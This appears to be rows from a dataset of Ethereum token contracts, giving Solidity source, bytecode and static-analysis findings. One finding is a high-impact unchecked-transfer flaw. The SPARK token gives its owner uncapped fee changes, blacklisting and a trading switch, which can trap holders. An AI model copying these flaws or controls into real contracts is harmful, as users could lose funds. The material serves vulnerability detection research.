return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae3565b005b34801561043c57600080fd5b50610445610d03565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d3c565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc8565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e4f565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600f81526020017f4d6f6f7365636f696e20546f6b656e000000000000000000000000000000000081525081565b6000806106ed3385610dc8565b14806106f95750600082145b151561070457600080fd5b61070e8383610fb0565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b6108448484846110a2565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad9576109d46a52b7d2dcc80cd2e4000000600454611488565b8211156109e45760009050610ade565b610a2c6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7a600454836114a1565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ade565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7c57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c2257600080fd5b505af1158015610c36573d6000803e3d6000fd5b505050506040513d6020811015610c4c57600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600481526020017f4d4f4f530000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9757600080fd5b600560009054906101000a900460ff1615610db55760009050610dc2565b610dbf83836114bf565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eab57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee657600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110df57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561116c5760009050611481565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111bb5760009050611481565b6000821180156111f757508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561141757611282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134a6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d46000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149657fe5b818303905092915050565b60008082840190508381101515156114b557fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114fc57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561154b576000905061170b565b60008211801561158757508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156116a1576115d46000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165e6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a723058200b141bc113bbe9b6fae8904d410a59fa7bffe06b519709cb3a1a7f922d59f63e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 2,629 |
0x2efc535796696b894d5813e3e1de3f6fc23b0719
|
/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
/**
______________________________________________________________________
/ \
| ______ _______ ____ _______ ___ ___ |
| / ___| | _ \ | \ | \ | |_/ _| |
| | /_ | / \ | / | | /\ | \ \ / |
| \__ \__ | \_/ _|/ /\ \ | \ | | / |
| \ || ___/ / \ | / | / \_ |
| ____\ || / | ____ || /\ \ | |\ \ |
| |_______/ |__| |__/ \__||__/ \___||__| \___| |
| |
\______________________________________________________________________/
* SPARK launches in a time where there isn’t much to hope for. This classic crypto meme plans to unite all of crypto and the world through these dark and rough times.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SPARK is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SPARK";
string private constant _symbol = "SPARK";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x095785521381102AA3c32Ba8230D92175303B9b1);
address payable private _marketingAddress = payable(0x095785521381102AA3c32Ba8230D92175303B9b1);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610521578063dd62ed3e14610541578063ea1644d514610587578063f2fde38b146105a757600080fd5b8063a2a957bb1461049c578063a9059cbb146104bc578063bfd79284146104dc578063c3c8cd801461050c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104465780638f9a55c01461046657806395d89b41146101fe57806398a5c3151461047c57600080fd5b80637d1db4a5146103e55780637f2feddc146103fb5780638da5cb5b1461042857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037b57806370a0823114610390578063715018a6146103b057806374010ece146103c557600080fd5b8063313ce567146102ff57806349bd5a5e1461031b5780636b9990531461033b5780636d8aa8f81461035b57600080fd5b80631694505e116101ab5780631694505e1461026b57806318160ddd146102a357806323b872dd146102c95780632fd689e3146102e957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192d565b6105c7565b005b34801561020a57600080fd5b506040805180820182526005815264535041524b60d81b6020820152905161023291906119f2565b60405180910390f35b34801561024757600080fd5b5061025b610256366004611a47565b610666565b6040519015158152602001610232565b34801561027757600080fd5b5060145461028b906001600160a01b031681565b6040516001600160a01b039091168152602001610232565b3480156102af57600080fd5b50683635c9adc5dea000005b604051908152602001610232565b3480156102d557600080fd5b5061025b6102e4366004611a73565b61067d565b3480156102f557600080fd5b506102bb60185481565b34801561030b57600080fd5b5060405160098152602001610232565b34801561032757600080fd5b5060155461028b906001600160a01b031681565b34801561034757600080fd5b506101fc610356366004611ab4565b6106e6565b34801561036757600080fd5b506101fc610376366004611ae1565b610731565b34801561038757600080fd5b506101fc610779565b34801561039c57600080fd5b506102bb6103ab366004611ab4565b6107c4565b3480156103bc57600080fd5b506101fc6107e6565b3480156103d157600080fd5b506101fc6103e0366004611afc565b61085a565b3480156103f157600080fd5b506102bb60165481565b34801561040757600080fd5b506102bb610416366004611ab4565b60116020526000908152604090205481565b34801561043457600080fd5b506000546001600160a01b031661028b565b34801561045257600080fd5b506101fc610461366004611ae1565b610889565b34801561047257600080fd5b506102bb60175481565b34801561048857600080fd5b506101fc610497366004611afc565b6108d1565b3480156104a857600080fd5b506101fc6104b7366004611b15565b610900565b3480156104c857600080fd5b5061025b6104d7366004611a47565b61093e565b3480156104e857600080fd5b5061025b6104f7366004611ab4565b60106020526000908152604090205460ff1681565b34801561051857600080fd5b506101fc61094b565b34801561052d57600080fd5b506101fc61053c366004611b47565b61099f565b34801561054d57600080fd5b506102bb61055c366004611bcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059357600080fd5b506101fc6105a2366004611afc565b610a40565b3480156105b357600080fd5b506101fc6105c2366004611ab4565b610a6f565b6000546001600160a01b031633146105fa5760405162461bcd60e51b81526004016105f190611c04565b60405180910390fd5b60005b81518110156106625760016010600084848151811061061e5761061e611c39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065a81611c65565b9150506105fd565b5050565b6000610673338484610b59565b5060015b92915050565b600061068a848484610c7d565b6106dc84336106d785604051806060016040528060288152602001611d7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b9565b610b59565b5060019392505050565b6000546001600160a01b031633146107105760405162461bcd60e51b81526004016105f190611c04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075b5760405162461bcd60e51b81526004016105f190611c04565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ae57506013546001600160a01b0316336001600160a01b0316145b6107b757600080fd5b476107c1816111f3565b50565b6001600160a01b0381166000908152